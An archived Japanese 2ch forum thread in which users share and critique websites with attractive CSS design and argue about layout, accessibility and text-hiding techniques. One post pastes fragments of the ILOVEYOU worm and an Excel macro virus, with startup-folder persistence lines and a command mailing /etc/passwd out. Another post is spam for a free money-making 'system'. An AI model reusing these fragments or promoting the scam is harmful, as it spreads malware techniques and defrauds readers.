TOP カテ一覧 スレ一覧 100〜終まで 2ch元 削除依頼
《今日は》やる気がない時どうしてる? 3《寝る!》
サイト内検索について話そう。
おまいらどういう流れでWEBデザイナーになった?
Google Chrome
【いったい】アクセシビリティ【どうしろと?】
【パク】ソース見てんじゃねーよ!!ウワァァァン【覗き】
+ JavaScript & jQuery 質問用スレッド vol.8 +
HTML/CSS のどんな質問にも優しく答えるスレ 43
Yahoo!アクセス解析
Netscape6.1の評価

CSSで見た目が美しく使い易い日本のサイト


1 :2006/01/06 〜 最終レス :2018/05/01
1.見た目が美しければ少々の文法違反は気にしない(指摘は可だが、論争に持ち込まない)。
 
2.海外サイトは紹介しない事。日本のみ。
3.strict房はお断り。

2 :
CSSでイケてるデザインサイト 29
http://pc8.2ch.sc/test/read.cgi/hp/1135295733/
これとの違いを明確に

3 :
国内のみ。

4 :
てことはかぶる可能性あるよね?

5 :
かぶらない可能性もある。

6 :
むしろ向こうに含まれるぞ

7 :
Strict厨はお断りな人が使うスレ

8 :
ttp://version510.com/
このレベルも日本では少ないだろうから張ってみた。
アイコンなどの細かいところの作りが丁寧。

9 :
>>9
糞重い、R

10 :
>>9
firefox?
固定背景だとスクロールが重くなるね。

11 :
あれ?おかしいな。何でこんなに重いんだろう。
IEとOperaでもスクロールが重い。
普通固定背景で重いのってfirefoxだけですよね?

12 :
>>12
むしろ今のFxよりIEのほうが固定に弱いよ

13 :
>>13
あ、そうなんですか。
ありがとうございます。
と言うことで自分も
ttp://coco.vivian.jp/top.html
メニューとかテキスト中心だけど、写真で上手くまとめていると思う。
ワンポイントのクリップもあると無いとで結構印象が違う。

14 :
>>14
そのサイト、最小フォントを大きめに設定してると被って辛いわ。

15 :
結局、こっちのスレではユーザビリティはどうなの?

16 :
>>16
タイトルに使い易いって書いてしまったからなぁ。
まぁ、使いやすいに越したことは無い程度に捉えてもらえれば。
ただでさえ日本のサイト限定なのに、更に条件を厳しくすると全然サイトが上がらないだろうから。

17 :
>>14
色遣いとかはそんな悪くないけど、使いにくいなあ・・・とくにリンク。
本文と色が同じだからどこがリンクか非常にわかりにくい。

18 :
正確にはハイブリッドデザインだけど。
http://tabi2.jp/index_hotel.php
これぐらいのアイコンの作り込みができるようになると、印象が変わるなぁ。
ページトップに戻るリンクのスクロールは心地よいが、js切ると使えないのはマイナス。

19 :
http://heteml.jp/
ここもハイブリッド。
作り込みは結構良いんだが、コーポレートカラーの扱いが難しいな。
上段背景が白で、下段背景が黒だから対比で目が疲れる。
でも、代替案は浮かばない。これはこれでいいかな。

20 :
自演の臭いがプンプン・・・

21 :
ん?ハイブリッド(というかレイアウト用テーブル)を認めてもいいのか?
>>1の「少々の文法違反」とは問題が異なると思うんだが、
lintで100点じゃなくてもいいって意味ではなくて?

22 :
こんなところまで来て自演するデザイナーなんて居ないだろ。
と言うか、マジで自演じゃないよ。

23 :
>>22
dat落ち防止の狙いもあったんだけどね。
基準があいまいになるから、やっぱり止めた方が良かったな。

24 :
テーブルとCSSを両方レイアウトに使って
ハイブリッドデザイン!かっこいいなあ(棒読み)

25 :
http://www.michaelsoft.jp/wiz2/
ゲームのサイトだけど、雰囲気を良く出していると思う。
js使ってflash呼び出したり閲覧者への配慮も伺える。
動作が重いのは多分サーバーのせい。
個人的にはゲーム系では一番。

26 :
http://www.kawashimaai.com/
タイトル周りや、それぞれのページの背景は結構凝っている。
メニューは日本語でも良いと思うが、雰囲気が崩れるのかな。

27 :
http://doc-r.net/
divがやや多いが、h2の装飾が少し凝ってる。
ユーザビリティもまあまあ。
サイドバーは左の方が良いかも。
全体的にこざっぱりして綺麗な印象。

28 :
あと、メインの幅は狭いけど、文章量が少ないからこれはこれでOKなのかも。

29 :
>>26
まったくスレチガイだがWizardryってこうなってしまったのか
時代の変化だろうかorz

30 :
めちゃくちゃなのあがるかと思えば割とまともなデザイン紹介されてる。
この調子でどんどん紹介してください。

31 :
>>28
うをーーーーかっこえー

32 :
http://www.wwjpn.com/
まぁ、それなりの美しさ。
トップは色数がちょっと多すぎてうるさいかも。
他のページはシンプルだけど手抜きとは違うだろう。
メニューはhoverで変化を付けたほうが良いと思うな。

33 :
http://www.abn-tv.co.jp/
配色がばらついた印象があるが、ユーザビリティはOKだと思う。
アイコンをもう少し使えば見栄えは良くなるかと。

34 :
http://www.kaikaikiki.co.jp/
それぞれのコンテンツ毎の色使いを上手くまとめている。
やや画像が多すぎる印象。テキストをもっと使った方が良いかも。
画像リンクのhoverがピンク色なのは個人的に嫌。

35 :
http://www.hidesigns.co.jp/index.php
擦れ系クールなデザイン。
雰囲気が好きな人と嫌いな人で分かれそう。
メニューのhover処理が薄くなるのは個人的には嫌い。
でも、これはなかなか真似出来ないんじゃないかと。
ってか、さっきから自分ばっか紹介してるw

36 :
日本のサイトのデザインも捨てたもんじゃないな。
やはり日本人をターゲットにしたサイトが一番デザインの参考になる。
海外は綺麗は綺麗だけど、何か違うんだよなぁ。

37 :
>>33-35
がんばってるね。

38 :
http://idnagano.net/index.php
使い易さは多少犠牲になってるが、綺麗だと思う。
ロゴだけって気がしなくも無いが、配色もまぁまぁ。
ただ、黄緑とピンクはもうちょっと彩度を下げた方が良いと思う。
今のままだと目が痛い。

39 :
いいよいいよ、どんどん紹介して〜

40 :
http://www.j-cnet.co.jp/index.html
多分それなりの出来なんだけど、なんか見飽きちゃったのかな。
新鮮味は無いけど、しっかり作られている。
正統派デザインと言うべきか。
でも、リンクのhoverが眩しい。

41 :
文字をIE中の100%程度より小さく指定しないでデザインがいいサイトってないかなぁ。
自分でサイト作るときに字が大きくても綺麗でまとまっているサイトみたいなのを参考にしたい…
カスイケスレで聞いたほうがいいだろうか

42 :
そう思う。それにその条件だけならリンク集にあると思うよ

43 :
>>1
なぜわざわざ日本限定に? 海外は別でやるってのも無駄じゃないか

44 :
>>44
それは海外はポータルが沢山あるから日本限定にしたの。
日本のサイトをデザインするには、日本のサイトを見るのが一番参考になりそうだし。

45 :
>>45
たくさんあがったほうがよりよいもの自分で選べてよくないか?

46 :
てかもともと「見た目がよければユーザビリティはどうでもいい!」って主張と戦ってできたスレだからねぇ。
のわりには「使い易い」ってあるけど・・・。日本語とかも特に論議の対象にはなっていなかったのは事実。

47 :
>>47
逆、「見た目がよければユーザビリティはどうでもいい!」と
主張して派生したスレだよ。

48 :
>>47
まぁ、そうなんだけど、ポータル見たほうが早いと思うから。
あれだけ沢山あれば殆ど網羅されると思うし。
>>47
そこはミスった。<使い易い


49 :
>>48
ああそうだったな。

50 :
>>49
それはこれからの書き込みの人次第だから、やっぱ限定する意味ないと思う。
限定しだすからおかしくなるんじゃないのかな。

51 :
http://www.willsystem.co.jp/index.html
殆どフラッシュだけど、見た目は凄く綺麗。
でも、これって有料テンプレート(http://www.mizutamari.net/とか)で配布されてそう。
なんかこのセンスは外国人っぽい。
制作実績見ても自分たちで作ったとは考え難い。

52 :
>>43
あると言えばあるけど、新しいのが見てみたいなと思って。
最近新しく紹介されてくるのって小さい文字が多いから、やっぱり文字は小さいほうが綺麗なのか…?とか思ったり。
なんか文章めちゃくちゃですね。スレ汚しスマソ。
先に配色とかレイアウトの基礎を勉強します
|ω・`)ノシ

53 :
>>51
やっぱり海外ありにしますかね。
そろそろ日本のサイトもネタ切れしそうなのでw
でも、なるべくポータルとの重複は避けて欲しい。
http://www.chukyo-u.ac.jp/
大学のサイトってcssでレイアウトされたの結構少ないね。
ここは文法はあまり良くないけど、学校らしく落ち着いた雰囲気を上手く出せてると思う。
色使いと写真のセレクトが良いと思う。
メニューの背景マークに何かあれば良かったなぁ。

54 :
SONYで検索してみた。
どこもかしこもテーブルだったんだけど、CSSのもあった。
http://www.sony.fr/
パクリ防止策か無駄な改行ならHTMLはいいとはいえないけど
デザインは素人の個人サイトでは難しいな。
適当に検索したものだけど
残念ながらテーブルレイアウトのほうがデザインはイイ。

55 :
×改行なら→○改行やら

56 :
>>55
その色使いは海外ならではって感じするね。
ただ、真ん中のコンテンツの枠の左と上が切れてて不自然。
あえてやってるんだろうけど、ちょっと気持ち悪いなぁ。

57 :
玄人のやつもっと晒してください

58 :
http://www.takayanagi-isu.jp/
少し和風。
色使いは良いと思うが、マージンとかリンクの色の配慮がちょっと足りない。
home以外のサイドバーが途中で切れてるのもダメ。
この辺直せばもっと良くなるかと。

59 :
http://www.vision-two.com/
硬い内容だけど、見た目は結構頑張ってる方。
と言っても上の画像だけって気もするが。
リストの画像が一種類でしかも地味なので寂しい。

60 :
http://www.vision-two.com/day/
ソースは結構問題ありだが、すぐ直せる範囲内。
意味の無い時計とかあるけど、クールで美しいのは確か。
トップ以外のページはフッターも多少だが凝っている。
ここまでやるならリストの画像もただの点だけじゃなく、もっと凝った方が良い。
問題を直せばかなりいけると思う。

61 :
下の二つはオーソドックスすぎますね。悪くはないですけど。

62 :
>>62
まぁ、読ませてナンボのブログだからね。
変に奇抜なレイアウトは本末転倒だし。

63 :
そうだとしても新しいもの見たいですね。

64 :
ちゃちゃいれてすまん。もっと頼む

65 :
こりゃーがんばればこっちが本スレになるかもな

66 :
>>64
探してるけどなかなか無いね。
自分的には>>36が一番独創性があると思った。
でまた、固定幅中央寄せ。
http://www.webhut.jp/index.html
てか、リキッド自体が少ないし、あっても糞デザインばっか。
ここは目新しさは無いけど、普通に作り込まれてる。

67 :
このスレには期待してる。

68 :
つーか結局、がんばってる一人の人がどっちのスレにいるか、でしかない気も…

69 :
>>69
そうかもね。
その頑張ってる一人が言うんだから間違いないw
まぁ、荒れないだけ良いわ。

70 :
くそ、見た目はいけてたのにハイブリッドだったorz

71 :
もうCSSの時代だろうと思っても企業は未だにテーブルだな。意外と探すの大変

72 :
>>67
リキッドじゃなくてソリッドでも、そのデザインを良いと思ってるならアレだ・・

73 :
アレって何だ?はっきり言ってくれ。

74 :
荒れませんように。

75 :
まあいいや。
荒れそうだから回答はいらない。

76 :
http://semkim.net/
下段のvalidのリンクをあえて少し隠しているところが新鮮。
コンテンツとしてはそれほど重要では無いリンクなので、遊び心で許せるレベル。
全体的に重いのは海外だからか?

77 :
http://jmby.info/
落ち着いた色使いと装飾のレベルの高さ。

78 :
日本のサイト?

79 :
>>79
スレタイにちょっと間違いがあるだけなので気にしないように。

80 :
http://fremdenzimmer-karlsruhe.de/index.php
良くも悪くもグラフィックと言う気はするが、クオリティは高い。
もう一捻り欲しいところか。
キーワード詰め込み過ぎw

81 :
http://www.lucer.cz/
背景が全て。
コンテンツ自体が少ないし、使い難さは感じない。

82 :
http://mikepiontek.com/
グラフィック系だけど、アクセシビリティを良く考えている。
カッコいいし美しい。
文字サイズ変更機能がlargeでもやや小さいのが気になる。
xhtml1.1で作られていた。

83 :
参考になるサイトがたくさんありますね

84 :
>>83
カコイイのは認めるが、そこまで小さくてアクセシビリティは誉めすぎ

85 :
>>85
やっぱそうだよね。
書いてからしまったと思ったorz
気になったらどんどん突っ込んでください。
http://digg.com/
準リキッドデザイン。
メニュー下の広告ウゼーとか、右側の緑色サイドバーの配色が気になるけど
ギリギリOKにしておく。
フォントサイズ切り替えボタンが一つなのに、二回押せば元に戻るのは初めて見た。
もうちょっと作りこめばいけそう。

86 :
http://www.w3cn.org/index.html
漢字も悪くないかも。
画像のめり込みで少し変化をつけている。
div病なのと一部の背景はマイナス。
zeldmanの「Design with Web Standards」の中国語版の表紙にワロタ

87 :
ttp://revway.jp/
肝心のgalleryがJavascriptなんで、offにしている人
(俺とか)は観れないのがうざいかな

88 :
ブラウザの設定によってはフォントサイズが小さすぎて
つぶれてなにも読めないのばっかり…
Mac IE で
フォントサイズ 12
解像度 96dpi
なんだけどね。
Macromedia のサイトもコンテンツによっては
なにが書いてあるのかさっぱりわからんです。

89 :
Mac IE の設定を 72dpi すりゃぁいいジャマイカ

90 :
Macは基準にできないよ。
多い方に、Macが合わせてくれ。

91 :
んまぁあれだ
Mac使いがIEを使うなよとw

92 :
つらい世の中ですね…
なんか思いっきり<FONT size=2>とか
<TABLE>で思いっきりレイアウトとか…
もうダメなんですね… w

93 :
要素名が大文字
値をダブルクォーテーションで囲ってない
もうダメもクソも初めっからダメだろカスwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

94 :
HTMLの構造は多少難ありだが
色遣いとかも綺麗でいいと思いました
ttp://www.twilightning.jp/

95 :
ttp://www.teichiku.co.jp/artist/nakanomori/

96 :
>>96
ほほぅ、POPで良いね。
Lintだと一部点引かれてるけどまぁ許容範囲(W3C ValitatorだとValidだし)。

97 :
>>96
cssがすごく長い。IE5.x for Macとかまでサポートしてくれてるのがありがたいね。

98 :
初歩的なことを聞いてすんません
>>96のサイトのcssで、
h1 {
position: absolute;
top: -9000px;
left: -9000px;
text-indent: -9000px;
}
としてるのは、特に問題なし?
だったら、漏れも真似しようかと...

99 :
それってh1を表示させたくないだけ?
だったらdisplay: none;の方がいい

100 :
>>100>>100
display: none;だとSEOスパムと判断されるとか
音声ブラウザで読んでくれないとかの問題があった気がする。
text-indentででかい数字入れて表示させない方法は最近の流行り?よく見かける。

101 :
display:noneとtext-indent:-9000pxは全く動作が違うんだが・・・
noneは「ボックスを生成しない」んだぞ?

102 :
text-indentででかい数字入れて表示させない方法は、
結構前からある手法っじゃないか?

103 :
>>102
position: absoluteしてるから画面外においやったらBOXなくなるのと同じレイアウトになるじゃん
音声ブラウザで読み上げられないのは、そもそも表示したくないものなんだから読み上げられない方が希望の挙動なんでは?

104 :
>>104
display:none;とspeak:none;の違いを学んでこい。
display:none;で読み上げられないことを希望するのは単に無知。

105 :
だったらなおさら「display:noneだと音声ブラウザで読んでくれない」って指摘が的外れなんじゃないの?
そんなの単に特定のブラウザのバグってだけじゃないか

106 :
現実の問題としてあるんだから
仕方が無いじゃないか。
ムキになるなよ。

107 :
つまり>98の方法を使うのは表示したくないけど読んで欲しい場合
ということでいいの?
普通に存在しないことにしたい場合はdisplay:noneでいいんだろ

108 :
>>106
仕様としてはdisplay:none;は読み上げられるべき。
だから「読み上げられないことを期待して」display:none;を選択するのは間違い。
ところが実装の問題として読み上げられない場合がある。
だから妥協として現実問題display:none;を「読み上げたいられたいから使わない」という選択肢はあり得る。

109 :
>音声ブラウザで読み上げられないのは、そもそも表示したくないものなんだから読み上げられない方が希望の挙動なんでは?
そもそも>>99のやり方は「テキストを表示したくないけど読み上げられたいから」の処理。
imgでalt属性を付ければ画像でも読み上げられるが
backgroundで画像を表示させている場合は内容物が読み上げられない。
だから>>99のようにテキストの表示は画面外へおいやってるわけ。
あとはアクシビリティやCSSのスレでやってくれ。

110 :
読み上げて欲しいような意味のある画像をbackground-imageで張り込むのがそもそも間違いなのでは
画像自体に意味があるならimgで入れて読み上げて欲しい文章をaltで指定すべき

111 :
>>111
根本的に勘違いしてるだろ。
「読み上げられたい」のは背景画像じゃなくて、内容物(テキスト)。

112 :
>>112
いやそうじゃなくて、話の元になってる95を見ると、背景画像に「中ノ森BAND」って文字列が画像として書いてあるわけ
んでh1の内容も「中ノ森BAND」で、画像が表示出来る環境ではh1を見せなくしてるんだけど
画像自体に「中ノ森BAND」って意味内容がちゃんとあるわけで、ただの装飾でしかないbackgroundで表示させるべきではないでしょ
その画像はまさしく見出しそのものなんだからh1の中にimgで入れて、音声ブラウザなどの画像を表示出来ない環境向けに代替テキストを指定するのがスジ

113 :
知ってるのか知ってないのか分からんが
・画面表示を読み上げる
・HTMLを解析して読み上げる
この2つは違う。

114 :
久しぶりに来たら荒れてるな。
文法その他の論争はしないルールのはずだぞ。

115 :
ホームページ・リーダ3.02からは display:none も
読み上げますよ、と。

116 :
>>113
いやだからそれが勘違いだと(ry

117 :
>>113になんだか納得してきた

118 :
つーかどの話題も本スレでも何度も既出の議論

119 :
つーかど って、何?

120 :
からとみ

121 :
つーかど の検索結果 約 2,190 件中 1 - 10 件目 (0.81 秒)

122 :
つー角野?

123 :
前半はいい雰囲気だったので、ここでちょっとスレの方向性の提案。
webデザインは素人なんで、ズレた提案だったらスマソ
CSSでイケてるデザインサイト はCSSでできていて、かつhtml構造も完璧に近いサイトを挙げているようだ。
ただ、自分としては完璧なサイトが見たいわけじゃなくて自分のサイトに真似できるいいところを探すために来ている。
真似できるところは1ヶ所あれば十分で、ナビの位置が参考となるページを見るときに、fontタグが使われていようと全く気にしない。
というわけで、ここでは1ヶ所でも参考になる所があるサイトを挙げていってはどうだろうか。
ナビの場所、色使い、訪問者が迷いにくい、〜したくなるような雰囲気
などなど、とりあえず広い範囲でいいと思う。
テーブルレイアウトも、真似する時にCSSで表現できるようなものなら可ということで。
ナビの場所の参考サイトに対して、文法のダメ出しをするような揚げ足取りはなし。
管理が楽そうな割に見た目がイイ!! ってのも自分としては歓迎
偉そうなこと言っておいて自分で挙げるサイトがないので、代わりにコメント
>>83
右側にクリック範囲の大きなメニューをおいて矢印のような画像を頭におくのは訪問者が迷わなくていいと思った。
一瞬で次どこをクリックしようか判断できるので、使いやすさはかなりいい。
自分のサイトを似たようなデザインで製作中だが、文字を大きくしても結構いけそうだ。

124 :
長くて読みにくいけど自分もそれには賛成
そうやってアタリを広くしておいて
その上でやはり日本語のサイトに絞って推薦したらどうかな?
英語のサイトは他のスレでもうだいぶ出てるし
日本語で書かれた美しいサイトが見てみたい
英語は意味が分からないからこそ美しく見えるという部分があるからなぁ

125 :
>>125
文字サイズを落としても視認性が損なわれないという
大きなアドバンテージがあるからな
フォントの自由度も高いし
表意文字には真似のできない芸当ではある

126 :
見た目が綺麗なサイト
http://pc8.2ch.sc/test/read.cgi/hp/1136710930/
こっちに移りますかね?

127 :
見た目が綺麗なサイト
落ちてますね…
ここで良いのでは?

128 :
>>125
英語は意味が分からないのではなくて、やはりアルファベットそのものが綺麗だと思う。
ハングルとか意味が分からないけど綺麗とは思わないし。

129 :
人それぞれの好みの問題だと思うが。
海外では漢字がかっこいいと思う人もいるんだし。

130 :
日本人だが漢字や平仮名は美しいと思うよ。
ただ小さくしすぎて読む以前に見えないサイトも多いがナ。

131 :
>>129
アルファベットをある種の模様として認識してるのでは?

132 :
>>130
そりゃ好みはあるだろうけど、日本人でもわざわざアルファベットを使って
メニューを作る人が多いって事は、殆どの人が見栄えが良いと思ってるんじゃないかな。
もちろん違う人はいて当然。

>>132
見た目の問題だからある意味模様と認識してます。
もちろん日本語も含めて。
その上でアルファベットの方が綺麗と言ってるんです(個人的にね)。

133 :
>>133
日本語はどうしても意味が分かってしまうから、英語(に限らず外国語)と違って純粋な模様と感じないのだろう。
>>133自身が日本語並みにぱっと見て英語の意味を解しない、という前提での話だが。

134 :
>>134
まあそれは否定出来ないな。
でも、漢字と平仮名、片仮名が混じると全体の統一感が損なわれるってのはありそう。
それが見た目に与える影響がどの位なのかは分からんけど。
あと、海外のデザインの影響を受けているサイトに日本語が合わないってのもあると思う。
本来日本語は和風のデザインでこそ馴染むものだろうし。

135 :
>漢字と平仮名、片仮名が混じると全体の統一感が損なわれる
この辺はフォント次第って気もする。
漢字と平仮名、片仮名が混じるのなんて昨日今日からの話じゃないし、
漢字と平仮名、片仮名が混じった分なんて英語より見慣れてるわけだし。

136 :
メニューにあまり一般的でない英語を使われるのは好かんな

137 :
表意文字と表音文字の違いとかないかなぁ?<英語と日本語
ぱっと文字列が視界に入ってきたとき、
アルファベット系は脳内で読むという行為をしないと意味が入ってこないが、
日本語は(中国語とかも)ダイレクトに意味が目に入ってきちゃう。
>>134ってことかもしれないけど。
あとアルファベットはもともと形が幾何的だからコンピュータで作ったグラフィックと合いやすいのかもしれない。
形もシンプルだし。
もちろん日本語の文字は綺麗だけどね。

138 :
>>133
> そりゃ好みはあるだろうけど、日本人でもわざわざアルファベットを使って
> メニューを作る人が多いって事は、殆どの人が見栄えが良いと思ってるんじゃないかな。
CSSによっちゃメニューに英語を採用しているが、
その理由は英語だとスペースを取らないで済む、というだけの話だ。
だからサイドバー仕様じゃないレイアウトには英語は使わない、
格好良いと思って使ってるばかりじゃないと思われ。

139 :
俺は差別化して見やすくするためだな。
見出しは英語、サブの見出しは日本語にして変化つけてる。
そうする事により見出しのインパクトが高くなり、
日本語の始まる部分が余計際立って見やすくなると思う。
勿論これを前提にデザインしてるせいもあるけどね。

140 :
ネットがアルファベット主体なんだからしかたねー

141 :
まあ内容によって使い分ければOKでしょ。
古風な旅館のサイトで英語使ってたら雰囲気崩れるし。

142 :
んなこたーないよ

143 :
古風な旅館のサイトの海外向け英語ページは、
それはそれでかっこよさそうだな。

144 :
同意、丁寧に作ってあれば十分カコイイと思う。
下手クソにつくるとそれこそ怪しさ抜群だけど…

145 :
http://www.jne.jp
たまたまみつけた
CSSがやたらすごいことになってる気がするのだがー?

146 :
>>146
おまじない吹いた

147 :
ttp://www.ohmitetudo.co.jp/railway/
あげ

148 :
色あせたカボチャって感じだなー
もうちょっと色合いがどうにかできたと思うんだが。

149 :
ぜんぜん美しくねーよ
古臭い感じすらする

150 :
サイト探しでもするかと下のワードでググって見たが、
株式会社 Valid Strict CSS の検索結果 約 795 件
すくなっ。

151 :
http://side-b.sto.co.jp/weblog/

152 :
>>152
サイドバーが広告だらけで使いにくいけど結構良い。
ただカテゴリーメニューの装飾がstopdesignと同じなのが気になる。
http://www.stopdesign.com/
パクリなのかね?

153 :
>>152
字が小さい。ちょっとごちゃごちゃしすぎ。
とはいえ普通ぐらい?

154 :
http://www.jam-graffiti.com/
イラストは見なかったことに…

155 :
マルチR

156 :
>>156

157 :
てかこのスレ自体は重複スレだし

158 :
イラストキモイ

159 :
ほい、
http://www.wizcope.com/

160 :
実績みたけどひどいねぇ
これで雑誌載れちゃうんだ?w

161 :
>>160
Operaの事忘れないであげてください。

162 :
>>160
こういうクソ会社があるから勘違いしたやつが
ウェブデザイナにならなれそうとか思うんだよな。
例えば俺とかだ。

163 :
完全手抜きだな

164 :
基本的に同意なんだが、普通にこういうデザインが求められる場合もあるんでは。
カッコイイとかより、企業イメージとかで要求される場合もあるし。

165 :
>>165
それはあるけど、そればかりというのも・・・

166 :
>>166
クライアントの職種が職種だから、無難なのを求められるのは当たり前な気もする。
まあ、それでもスカスカ感があるのは別の問題なので、その辺は不足分なんだろうけどね。

167 :
>>163
プロなんて所詮人脈がものをいう。
どっかの企業がコンペすると言っても、
参加できるのはそれなりに付き合いがあるとこだけ。
どんなに技術やセンスがあっても、
新人デザイナがいきなりでかい仕事を請けるのは無理。
プロになりたきゃ仕事選ばずに確実にチャンスをつかむんだな。

168 :
http://www.nttdocomo.co.jp/product/foma/902i/index.html
この右側のナビゲーションイイ。
メニューが重なって、感覚的に階層がわかる。
目からうろこが出た。

169 :
>>169
俺には何に感動してるのか良くわからん。
全体的に流行の路線を真似てみたけど、
まだ未消化ですって感じだし。
ドコモって、Webと展示会のブースイメージを
統一する方向で動いていると聞いていたけど
これがその路線なのかな?

170 :
え?未消化かね。
俺は結構いい感じに纏まってると思うんだが。
リンクによって▼とかをつけて判りやすくしてたり、小技がいたる所に効いてて参考になる。

171 :
リンクが文字上だけなのが嫌だ。

172 :
文字上だけhoverって
Macで作ってて、IEでチェックさぼるとなりがち>俺 ('A`;)
aにwidth入れ忘れちゃう

173 :
>>171
そのくらい普通にやろうよ。

174 :
>>174
効果的にやってるとこって結構少ない気がする。
ただ画像を置くだけなら居るけどね。
俺も勿論そういうのも心がけてるが、効果的に出来てるかどうかは疑問。

175 :
感性に働きかけて、ぱっと見て状態がわかるのはすごいとおもう。
情報デザインの真髄だよ。

176 :
>>174
その"普通"が難しいんですよ.

177 :
俺は階層って感じしないんだよな。
階層が深くなるのに上に重なっていくのはなんかこう衝突感がある。
でもOSのGUIでプルアップメニューなんかは階層が深くなるにつれ
重なっていくから有りなんだろうな。

178 :
小技がどうとか言ってる人いるけどなってないよ。
テキストリンクのhoverでのアンダーラインの扱いが酷い、なぜ統一しないんだ?
同じテキストリンクなのに混乱するだけ。

179 :
>>179
まぁ、そんなレベルなんでしょ。
俺的には、全体的に空きの取り方が
素人臭いのが気になる。
もう少し神経使えば、締まると思うんだけどね。

180 :
美味そうです
ttp://www.iris.dti.ne.jp/~c-berry/

181 :
クラウドベリージャム復活してたのかぁ
(´Д`) テラナツカシス

182 :
>>182
そうなんですよ。復活してたんですよ。
容姿の変化はちょっとショックだったけどw
しかし、validatorにかけたらエラーいっぱい出た。
まあいいや。

183 :
このサイトはCSSとは永遠、縁がないと思われ。
http://www.aiseikai.or.jp/

184 :
>>184
ブラウザがぶっ壊れ太

185 :
太陽にほえろが流れなくなったのは著作権の所為かな

186 :
自分よく判ってないかもしれないけど、>>160はどういうことなの?

187 :
>>187
前は普通に見れたよ
今はひどいことになってるな

188 :
http://www.csd-kk.co.jp/
http://www.fellow-inc.co.jp/
http://www.gij.com/
http://www.nextstage-inc.com/
http://www.webcolor.jp/
http://www.ecstyle.jp/
http://www.skyfish.co.jp/focustalk/
http://www.system-com.co.jp/system/
http://www.turph.net/
http://www.cosdac.co.jp/

189 :
オナニーサイトばっかだな

190 :
>>190さんが自己満足ではなく、客観的に見て優れているサイトをご紹介して頂けるようです

191 :
その流れはもういいよ

192 :
同意

193 :
>>190
ここは、ちょっと本スレと区別しないと駄目だよw

194 :
ここだけは荒らされないと思ってるバカがいるのか。

195 :
ちがうwよwwwただwww本スレwと何かしら区別しよう
ってことじゃないwwwか?
なぁお馬鹿さんwwwwwwwwwwwwwwww

196 :
自分で荒らしと認めるわけね。

197 :
区別がwwwwwwwがwwwwwwwww
本当にアホだなwwwwwwwwwwwwwwwwww
よし、倣ってやろうwwwwwwwwwwwwwwwwwwwwwwwww

198 :
>>190 に同意する訳じゃないが、>>189のはどうかと思うものばかりだ。

199 :
http://www.mitsue.co.jp/

200 :
>>200
オナニーサイトいらね

201 :
悪くないじゃん

202 :
えっ、この程度で良いの?レベル低w

203 :
サイト紹介するときはどこがいいのかコメントつけないと、
漠然としたレベルの話になったり、あら探ししか返ってこなかったりするわな

204 :
オナニー好きがオナニーサイトいらねと申しております。

205 :
文字馬鹿でかいし横800px以上あるし
そのくせpadding取り過ぎてスカスカだし
3カラムの意味ねーし
とりあえず付けたフラッシュはダサダサだし
しょーがねーからオニャニョコ画像でも載せとくかっ
って感じのサイトばっかだな

206 :
http://wdt.pekori.jp/
http://www.stylish-style.com/
http://mook.mook.to/MoogaOne/index.htm
http://www.apple.com/jp/displays/index.html

207 :
デザインも構造もかっこいい
http://sample21.jugem.cc/
http://sample39.jugem.jp/


208 :
決めた!
しばらく俺はコメントしない事にする!

209 :
>>208
文字小さすぎて嫁ん
パッとみて、素直にダサいと思う。

210 :
目が痛くなるね。
多分自分では達成感から上手くいったと思ってしまい、客観的に見れてないんだろう。

211 :
ショッボイサイトばっかりだ。
それよちこっちのサイトかっこいいだろ?
http://homupi.jp/BlueMach/

212 :
ネタはもういいよ

213 :
結局、このスレをわざわざ分離独立させた意味がまったくない件について

214 :
>>212
デザインも構造もかっこいい!!

215 :
>>214
カスイケスレの伝統

216 :
オナニーできるだけ、うらやましい・・。

217 :
「あの人達」は通算何年カスイケスレに粘着してることになるんだろう?
未だに自分達がイケてないことを認めたくない証左なんだろうが。

218 :
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

219 :
>>218
おまえも(オレも)『粘着』している一人なわけだが

220 :
なんかカスイケの人たちキモイね。

221 :



222 :
>>222
R。
独身男性板で荒らしまくってた奴だろ?
Web制作板まで知ったかのCSSを自慢しにくるな。

223 :
いつでも君の笑顔に揺れて
太陽のように強く咲いていたい

224 :
はやく 見つけて 見つけて ここにいるから

225 :
test

226 :
http://www.ffjp.net/ff6/
FF6攻略サイトだが、デザインがシンプル系で良いと思う。
更新停止してるけど・・・。

227 :
>>227
その程度のサイトいくらでもあるだろ

228 :
http://www.contami.com/
巡回中に発見。コンセプトはすごく好きなんだけどなぁ。
テーブルレイアウトな上に、ソースが糞。もっと勉強してほしい。

229 :
>>229
うーん、どうしてこう見栄え重視なんだろうね?

230 :
>>229
デザイン自体糞
と思ったらさ、IEだと普通だな
table以前にさ、Fxで見てみてよ
それとIEでも文字化けしてまともに見れないけどね
見栄え重視ですらないw

231 :
ttp://www.norway.or.jp/
政府系?にしては珍しいデザイン

232 :
tableデザインなんだが???

233 :
ここ以上の良質フレームサイトを見たことがない。
http://ima.pandach.com/

234 :
自動集金システム無料配布してるんですけど。
kch0921@mail.goo.ne.jpにメールして頂ければ
自動返信にて自動集金システムをお渡しします。
1円も要らないです。

235 :
>>234
よく考えられてるな。
フレームも捨てたもんじゃないぜ!

236 :
>>234
感動した!

237 :
>>234
(・∀・)イイ!!
でもFirefoxだとやや重いな

238 :
>>238がどんな回線だか不明だが、表示に1秒と掛からなかったけどね。
勿論ブラウザは同じFirefox。

239 :
>>239
いやスクロールの話。
固定してある部分が多分原因だろうけど。
※ちなみに回線はADSL。

240 :
>>234
読みやすい!!

241 :
rss部分きちんとコメントアウトしとる!

242 :
背景や文字の色さえ指定せず、
